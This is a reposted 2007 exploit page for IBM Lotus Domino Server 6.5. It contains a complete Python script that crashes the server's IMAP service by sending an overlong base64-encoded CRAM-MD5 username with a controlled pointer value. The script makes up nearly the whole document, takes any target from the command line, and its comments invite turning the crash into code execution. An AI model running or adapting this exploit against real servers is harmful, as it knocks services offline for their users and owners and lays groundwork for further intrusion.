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IBM Lotus Domino Server 6.5 (username) Remote Denial of Service Exploit
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来源：www.vfocus.net 作者：Winny 发布时间：2007-03-30
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#!/usr/bin/python
#
# Remote DOS exploit code for IBM Lotus Domino Server 6.5. Tested on windows
# 2000 server SP4. The code crashes the IMAP server. Since this is a simple DOS
# where 256+ (but no more than 270) bytes for the username crashes the service
# this is likely to work on other windows platform aswell. Maybe someone can carry this further and come out
# with a code exec exploit.
#
# Author shall bear no reponsibility for any screw ups caused by using this code
# Winny Thomas :-)
#
import sys
import md5
import struct
import base64
import socket
def ExploitLotus(target):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, 143))
response = sock.recv(1024)
print response
auth = 'a001 authenticate cram-md5\r\n'
sock.send(auth)
response = sock.recv(1024)
print response
# prepare digest of the response from server
m = md5.new()
m.update(response[2:0])
digest = m.digest()
payload = 'A' * 256
# the following DWORD is stored in ECX
# at the time of overflow the following call is made
# call dword ptr [ecx]. However i couldnt find suitable conditions under which a stable pointer to our shellcode
# could be used. Actually i have not searched hard enough :-).
payload += struct.pack('<L', 0x58585858)
# Base64 encode the user info to the server
login = payload + ' ' + digest
login = base64.encodestring(login) + '\r\n'
sock.send(login)
response = sock.recv(1024)
print response
if __name__=="__main__":
try:
target = sys.argv[1]
except IndexError:
print 'Usage: %s <imap server>\n' % sys.argv[0]
sys.exit(-1)
ExploitLotus(target)
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